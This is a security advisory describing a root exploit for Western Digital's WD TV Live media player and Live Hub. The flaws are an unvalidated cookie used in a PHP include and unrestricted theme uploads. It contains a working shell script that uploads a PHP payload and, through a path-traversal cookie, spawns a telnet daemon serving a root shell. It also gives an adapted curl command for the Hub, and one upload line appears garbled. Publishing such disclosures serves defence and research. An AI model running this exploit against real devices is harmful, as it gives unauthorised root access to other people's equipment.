Root Exploit Western Digital's WD TV Live SMP/Hub

Introduction
============
The WD TV Live Streaming Media Player is a consumer device to play
various audio and video formats.
Additionally it allows access to multiple video streaming services like
Netflix, Hulu or Youtube.[1]
The device allows customization of its user interface and limited remote
administration using a web interface.

The LIVE SMP is running a customized Linux kernel and userland.
Parts of the firmware are released under the terms of the GNU General
Public License.
Proprietary binaries are included in encrypted parts of the firmware
which are decrypted during runtime.

1. Affected Versions
--------------------
The analysed firmware is the latest version (1.07.15 as of 03/2012) as
published on [2], prior versions are vulnerable too.
Large portions of the firmware are shared with the WDTV Live Hub[3] thus
the presented findings are applyable on this device with minor changes
as described later.

2. Attack Vector
----------------
The attack vector used to gain root access on the device involves two
implementation flaws as described in the following sections.

2.1. User Input Validation Flaws
--------------------------------
The web interface is written using the PHP language.
Several files contain user input validation flaws similar to the one
described here.
Cookie header values in /opt/webserver/htdocs/index.php are not
validated at all.
The provided cookie value is used within an include statement allowing
the attacker to force inclusion of arbitrary files (as long as they are
named home.php).

2.2. Possibility to Upload Arbitrary Files
------------------------------------------
To allow the customization of the user interface one may upload theme
files (zip archives) through the web interface.
The contents of these archives are not restricted so adding a file named
home.php is possible.

2.3. Limitations
----------------
Most of the PHP files of the web interface include security.php which
limits access to the networks IP/subnet mask combination the LIVE SMP is
connected to.
Aformended index.php is guarded by this security measure but uploading
theme file using upload.php is possible from any IP address.

3. Proof of Concept
-------------------
The following script will spawn a telnet daemon providing access to a
root shell on the device.
(needs zip and curl binaries)

#!/bin/sh
THEME_NAME="blub"

if [ $# != 1 ]; then
  TARGET="orpheus"
  echo "Root Exploit for WDTV Live SMP\n\nUsing default
target=${TARGET}\nUSAGE: $0 <target>\n\n"
else
  TARGET=$1
fi

if [ ! -f "home.php" ]; then
  echo '<?php system("telnetd -l /bin/sh");print "\nUnd es hat blub
gemacht.\n\n";exit();' > home.php
fi

if [ ! -f "${THEME_NAME}.zip" ]; then
  touch meta.xml
  zip ${THEME_NAME} home.php meta.xml
fi

echo "Uploading ${THEME_NAME}.zip:"
curl -F appearance= () ${THEME_NAME} zip -o /dev/null \
  http://${TARGET}/upload.php

echo "\n\nRunning payload:"
curl --cookie "language=../../../../usrdata/.wd_tv/theme/${THEME_NAME}" \
  http://${TARGET}/index.php

4. Adaption for the Live Hub
----------------------------
As the LIVE HUB does not have the ability to upload themes through the
web interface, one needs to use a different angle to upload the payload:
Using the samba share WDTVLiveHub. Thus the language cookie has to be
adapted as shown here:

curl --cookie "language=../../../../mediaitems/Local/WDTVLiveHub/" \
  http://${TARGET}/index.php

5. Code, Whitepaper, Example Session, References
------------------------------------------------
Code, whitepaper, example session: http://hammerhead.shark23.de

[1] Western Digital. WD TV Live, .
URL http://wdc.com/en/products/products.aspx?id=330.
[2] Western Digital. Downloads WD TV Live Streaming Media Player (Gen
3), 2012.
URL
http://support.wdc.com/product/download.asp?groupid=1011&sid=161&lang=en.
[3] Western Digital. WD TV Live Hub, .
URL http://wdc.com/en/products/products.aspx?id=570.